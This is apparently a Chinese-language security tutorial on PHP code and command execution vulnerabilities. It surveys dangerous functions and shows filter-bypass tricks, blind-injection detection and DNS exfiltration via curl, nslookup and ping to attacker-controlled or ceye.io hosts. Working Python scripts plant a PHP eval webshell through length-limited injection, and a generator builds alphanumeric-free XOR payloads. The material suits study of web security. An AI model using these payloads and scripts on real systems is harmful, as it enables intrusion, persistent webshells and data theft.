PHP 代码/命令执行漏洞概述
目录
0x00 代码执行相关函数
1.mixed eval(string code_str)
2.bool assert ( mixed $assertion [, string $description ] )
3.mixed call_user_func( callable $callback [, mixed $parameter [, mixed $... ]] )
4.mixed call_user_func_array( callable $callback , array $param_arr)
5.string create_function( string $args, string $code )
6.preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int$limit = -1 [, int&$count ]] )
7.array array_map( callable $callback , array $array1 [, array $... ] )
8.bool usort( array &$array , callable $value_compare_func)
9.bool uasort( array &$array , callable $value_compare_func)
10.${php代码}
0x01 命令执行相关函数
0x02 命令执行绕过技巧
绕过空格过滤的方法:
0x03 命令无回显的情况
#利用延时
#让目标服务器向我们的服务器发请求
#让目标服务器发送DNS请求
0x04 命令执行漏洞的利用方法
0x05 可控字符串长度受限情况下getshell
15个字符可控
7个字符可控:
5位可控字符:
4位可控字符:
0x06 无字母数字getshell
0x00 代码执行相关函数
由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器端执行。
代码/命令注入攻击中Web服务器没有过滤类似system(),eval(),exec()等函数的传入参数是该漏洞攻击成功的最主要原因。
代码注入相关函数:
1.mixed eval(string code_str)
eval() 把字符串作为PHP代码执行
code_str是PHP代码字符串
2.bool assert ( mixed $assertion [, string $description ] )
assert 检查一个断言是否为FALSE
assertion是字符串,它将会被当做PHP代码来执行
assert("system(pwd)");
echo "123";
assert("eval('echo 888;')");
echo "123";
3.mixed call_user_func( callable $callback [, mixed $parameter [, mixed $... ]] )
callback是将被调用的回调函数,parameter是0个或以上的参数,被传入回调函数。
可以传递任何内置的或者用户自定义的函数
除了array(),echo(),empty(),eval(),exit(),isset(),list(),print() 和unset()
虽然eval不能调用,但是可以通过assert来绕过该限制
同时system函数也是可以调用的
call_user_func("assert","eval('echo 123;')");
call_user_func("system","ifconfig");
4.mixed call_user_func_array( callable $callback , array $param_arr)
callback被调用的回调函数,param_arr要被传入回调函数的数组。
5.string create_function( string $args, string $code )
create_function—Create an anonymous (lambda-style)
functionargs是要创建的函数的参数,code是函数内的代码。
$func = create_function('$param','echo $param;');
$func("hello word");
$func2 = create_function('','phpinfo();');
$func2();
6.preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int$limit = -1 [, int&$count ]] )
执行一个正则表达式的搜索和替换
/e 修正符使preg_replace将replacement 参数当做PHP 代码
7.array array_map( callable $callback , array $array1 [, array $... ] )
array_map :为数组的每个元素应用回调函数
利用场景:
<?php
highlight_file(__FILE__);
$arr[0] = $_GET['b'];
$func = $_GET['a'];
$ret= array_map($func,$arr);
8.bool usort( array &$array , callable $value_compare_func)
usort 使用用户自定义的比较函数对数组中的值进行排序
<?php
highlight_file(__FILE__);
// var_dump($_GET);
var_dump(...$_GET);
usort(...$_GET);
9.bool uasort( array &$array , callable $value_compare_func)
uasort:使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
使用方法同上
10.${php代码}
${phpinfo()}; 也是可以执行的
0x01 命令执行相关函数
1.string system(string command, int &return_var)
可以用来执行系统命令并将相应的执行结果输出
2.string exec (string command, array &output, int &return_var)
command是要执行的命令,output是获得执行命令结果的全部内容,return_var存放执行命令后的状态值
该函数的返回值只是命令执行结果的最后一行内容。
如果你需要获取未经处理的全部输出数据, 请使用 passthru() 函数。
如果想要获取命令的输出的全部内容, 请确保使用 output 参数。
<?php
$ret = exec("ls",$output);
var_dump($ret); //返回值只是命令执行结果最后一行的内容
var_dump($output); //获取命令执行结果的全部内容
3.void passthru (string command, int &return_var)
直接执行并输出结果
command是要执行的命令,return_var存放执行命令后的状态值
4.string shell_exec (string command)
command是要执行的命令
5. `` 运算符
可以直接执行系统命令
<?php
$a = 'ifconfig';
echo `$a`;
6.bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start 打开输出控制缓冲
也就是说当执行echo 函数时,echo函数的参数会先传入ob_start执行的回调函数,
然后将回调函数的结果echo出来
<?php
ob_start('system');
echo "pwd";
ob_end_flush();
经试验:php7.3 该函数真实有效
0x02 命令执行绕过技巧
例如有这样一种情况
如何去实现命令执行?
利用系统分割符:
- 换行符 %0a
- 回车符 %0d(没成功)
- 连续指令 ;
- 后台进程 &
- 管道符 |
- (逻辑?)|| &&
上题可以使用的方式:
http://localhost:8888/xss/assert.php?a=%0apwd
http://localhost:8888/xss/assert.php?a=;pwd
http://localhost:8888/xss/assert.php?a=|pwd
绕过空格过滤的方法:
可以代替空格的符号:
<
${IFS}
%09 用于url传递,是\t的url编码
cat<index.html
cat${IFS}index.html
cat$IFS'index.html'
cat$IFS$1index.html
cat$IFS$2index.html
...
其他一些绕过思路:
1.命令拼接:
2.用base64对命令进行编码,然后在执行前对命令进行base64解码
反引号中的值会作为命令执行
3.substr string pos len
该表达式是从string中取出从pos位置开始长度为len的子字符串。如果pos 或len为非正整数时,将返回空字符串。
expr 是一个计算器,用于字符串可以抓取字符串的值
> expr substr “this is a test” 3 5
is is
/
echo "${PATH:0:1}”
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
$PWD是从环境变量中读取
$(pwd)是一条命令
0x03 命令无回显的情况
判断命令是否执行方法:
延时
HTTP请求
DNS请求
#利用延时
ls|sleep 3
例如:
<?php
highlight_file(__FILE__);
exec("echo 123".$_GET['a']);
#让目标服务器向我们的服务器发请求
比如我们的服务器上用nc开一个端口
让目标服务器
用curl 我们的服务器地址:端口 去向我们的服务器发送一个http请求
如果命令成功执行,我们这边就能收到http请求
#让目标服务器发送DNS请求
可以让目标服务器用
nslookup 我们控制的dns服务器域名
发送dns域名解析请求(可以用http://ceye.io的dns服务器)
如果命令成功执行,这边就会收到dns请求
0x04 命令执行漏洞的利用方法
#写shell
#用http/dns等方式带出数据
可以用sed将文件中空格剔除掉,然后将文件内容拼接到ceye.io 给你分配的域名前,然后
ping这个域名,附带发出dns请求
结果:
局限性:文件内容不能太长
0x05 可控字符串长度受限情况下getshell
15个字符可控
思路:虽然限制了使用命令的字数,但是没有显示使用命令的次数
touch 1
然后将"<?php eval($_GET[1]);"分多次追加写入该文件
echo \<?php >1
echo 'eval'>>1
echo '($_GET'>>1
echo '[1])'>>1
echo ';'>>1
因为>>追加写会自动换行,所以每行必须确保关键字完整。
mv 1 1.php
一个简单的利用代码:
import requests
base_url = "http://localhost:8888/loophole-recurrence/codeexe/15.php?1="
def split_list_by_n(list_collection, n):
"""按照长度分割字符串为数组"""
arr = []
for i in range(0, len(list_collection), n):
arr.append(list_collection[i: i + n])
return arr
def touchFile(filename):
url = "%stouch %s"%(base_url,filename)
requests.get(url)
def renameFile(filename):
url = "%smv %s %s.php"%(base_url,filename,filename)
requests.get(url)
def writePayload(payload,filename,limit_len):
str = "echo ''>>%s"%(filename)
base_len = len(str)
if(base_len > limit_len):
print("长度不够")
exit(0)
eff_len = limit_len-base_len
payload_list = split_list_by_n(payload,eff_len)
for p in payload_list:
url = "%secho '%s'>>%s"%(base_url,p,filename)
requests.get(url)
def writer(payload,limit_len):
filename='1'
touchFile(filename)
writePayload(payload,filename,limit_len)
renameFile(filename)
if __name__=='__main__':
payload = "<?phpeval($_GET[1]);"
writer(payload,15)
7个字符可控:
如果只有7个字符可控,那么用echo ''>> 这种写入文件的方法显然是不行的
必须寻找其他思路
思路:
除了touch 可以创建文件,直接用>文件名也可以创建文件,而且命令字符数更短
ls>文件名 则可以将当前目录下的所有文件名分行写入我们创建的文件
ls -t 基于时间排序,最新的文件排在最前面
sh 文件名 则会将文件中的内容做为shell代码来执行
长命令可以利用 \ 来换行分割
demo:
为了避免一些敏感字符的转义问题,可以使用base64先将payload编码
过程:
1.准备payload
2.将payload分割成数组,将该数组逆序调整一下(因为ls -t 是将最新创建的文件放在最前面)
3.遍历数组,发送创建文件的请求
4.发送创建shell脚本的请求
5.发送执行shell脚本的请求
一个更完善的利用脚本:
'''
Date: 2021-02-04 13:17:12
LastEditors: 无在无不在
LastEditTime: 2021-02-04 15:57:00
'''
import requests
import base64
base_url = "http://localhost:8888/loophole-recurrence/codeexe/7.php?1="
def split_list_by_n(list_collection, n):
"""按照长度分割字符串为数组"""
arr = []
for i in range(0, len(list_collection), n):
arr.append(list_collection[i: i + n])
return arr
def touchFile(filename):
url = "%stouch %s"%(base_url,filename)
requests.get(url)
def renameFile(filename):
url = "%smv %s %s.php"%(base_url,filename,filename)
requests.get(url)
def writePayload(payload,filename,limit_len):
str = "echo ''>>%s"%(filename)
base_len = len(str)
eff_len = limit_len-base_len
payload_list = split_list_by_n(payload,eff_len)
for p in payload_list:
url = "%secho '%s'>>%s"%(base_url,p,filename)
requests.get(url)
def createShellPayloadSliceList(php_payload,limit_len):
"""通过php_payload生成对应shell_payload切片数组"""
base64_php_payload = base64.b64encode(php_payload.encode('utf-8')).decode("utf-8")
sh_payload = "echo %s|base64 -d>2\.php"%(base64_php_payload)
base_len = len(">''\\")
eff_len = limit_len-base_len
payload_list = split_list_by_n(sh_payload,eff_len)
payload_list.reverse()
return payload_list
def create_file_list(php_payload,limit_len):
"""将payload分割为文件列表"""
payload_list = createShellPayloadSliceList(php_payload,limit_len)
for i in range(len(payload_list)):
if(i!=0):
url = "{base_url}>'{payload_slice}\\'".format(base_url=base_url,payload_slice=payload_list[i])
else:
url = "{base_url}>{payload_slice}".format(base_url=base_url,payload_slice=payload_list[i])
requests.get(url)
def createShellScript(filename):
"""将文件列表写入sh脚本"""
url = "{base_url}ls -t>{filename}".format(base_url=base_url,filename=filename)
requests.get(url)
def executeShellScript(filename):
"""执行shell脚本"""
url ="{base_url}sh {filename}".format(base_url=base_url,filename=filename)
requests.get(url)
def slice_writer(payload,limit_len):
"""通过分割写的方法写入文件"""
payload = payload.replace(" ","")
filename='1'
# 1.创建文件
touchFile(filename)
# 2.将payload切割,分多次写入文件
writePayload(payload,filename,limit_len)
# 3.将该文件重命名为php文件
renameFile(filename)
def ls_writer(php_payload,limit_len):
"""通过ls的方法写入文件"""
# 1.将payload切割,以切片为文件名生成一堆文件
create_file_list(php_payload,limit_len)
filename ='0'
# 2.将一堆文件名写入一个shell文件
createShellScript(filename)
# 3.执行该shell文件,即执行payload
executeShellScript(filename)
def main():
limit_len = 7
payload = "<?php eval($_GET[1]);"
if(limit_len>=15):
slice_writer(payload,limit_len)
elif(limit_len>=7):
ls_writer(payload,limit_len)
else:
pass
if __name__=='__main__':
main()
脚本生成的shell文件 0
0
ech\
o P\
D9w\
aHA\
gZX\
Zhb\
Cgk\
X0d\
FVF\
sxX\
Sk7\
|ba\
se6\
4 -\
d>2\
\.p\
hp
exploite.py
7.php
15.php
5位可控字符:
因为ls -t>0 有7位,所以上述代码执行的最低要求:可控命令长度有7位
思路:通过追加写确保顺序
>ls\\
ls>a
>\ \\ 加一个空格
>-t\\
>\>0
ls>>a
4位可控字符:
ls -t >0
思路:
第一步:创建以下文件:
>dir
>f\>
>pt-
>sl
第二步
输入*>v,这样就会执行dir命令,并将结果写入v
第三步
>rev 创建rev文件
*v>0 这样就会执行 rev v>0 即:
sh 0 就会执行该代码
为什么用dir而不用ls:
这就是用dir的原因
0x06 无字母数字getshell
核心思想:如何通过无字母数字来生成字母数字
将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符
例题:
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long");
}
if(preg_match('/[A-Za-z0-9]+/',$code)){
die("NO");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
思路:
非字母、数字字符 的ascii码经过异或可以生成字母的ascii码
<?php
/*
* @Date: 2021-02-06 14:22:10
* @LastEditors: 无在无不在
* @LastEditTime: 2021-02-06 14:43:46
*/
$a = '`~!@#$%^&*()_+{}:"|<>?.\,[]\'';
$AZ=[];
$az=[];
$digits=[];
for($i=0;$i<strlen($a);$i++){
for($j=0;$j<strlen($a);$j++){
$result = ord($a[$i]^$a[$j]);
if($result>=ord('A')&&$result<=ord('Z')){
$info = $a[$i].'xor'.$a[$j].'='.chr($result);
$AZ[chr($result)][] = $info;
}elseif($result>=ord('a')&&$reuslt<=ord('z')){
$info = $a[$i].'xor'.$a[$j].'='.chr($result);
$az[chr($result)][] = $info;
}elseif($result>=ord('0')&&$result<=ord('9')){
$info = $a[$i].'xor'.$a[$j].'='.chr($result);
$digits[chr($result)][] = $info;
}
}
}
echo "<pre>";
var_dump($AZ);
var_dump($az);
var_dump($digits);
echo "</pre>";
一个简单的利用脚本:
<?php
$a = '`~!@#$%^()_+{}:"<>?.\,=[]';
$words=[];
for($i=0;$i<strlen($a);$i++){
for($j=0;$j<strlen($a);$j++){
$xor = ord($a[$i]^$a[$j]);
if(($xor>=ord('A')&&$xor<=ord('Z'))
||($xor>=ord('a')&&$xor<=ord('z'))
||($xor>=ord('0')&&$xor<=ord('9'))){
$words[chr($xor)][] = [$a[$i],$a[$j]];
}
}
}
function generatePayloads($str,$words){
$right = '';
$left ='';
for($i=0;$i<strlen($str);$i++){
$w = $str[$i];
$right.=$words[$w][0][0];
$left .=$words[$w][0][1];
}
return "'$right'^'$left'";
}
$ret = generatePayloads("getFlag",$words);
$base_url = 'http://127.0.0.1:8888/loophole-recurrence/CodeExe/eval.php?code=';
$payload = '$_='.$ret.';$_();';
$url = $base_url.$payload;
$resp = file_get_contents($url);
var_dump($resp);
上一篇: 代码随想录算法训练营:30/60
下一篇: 命令执行漏洞详解 - 向日葵命令执行
推荐阅读
-
在线代码执行工具(支持PHP,Java,C++等语言)-访问 http://www.it1352.com/Onlinetools
-
CVE-2022-22965:修复了Spring Framework远程代码执行漏洞
-
PHP代码审计03之实例化任意对象漏洞
-
Shell脚本中执行PHP操控的普通shell命令:system与passthru功能相似,可互相替代的操作演示
-
在PHP中使用的执行Shell命令的函数方法
-
重现CVE-2023-33246 命令执行漏洞研究与实操解析
-
php命令执行
-
从代码中学安全实战(8):preg_replace 函数中的命令执行风险揭示
-
探究PHP代码安全检测:Catfish CMS中发现的第二大权限超越漏洞实例再现
-
HC3存在可执行任意命令的安全漏洞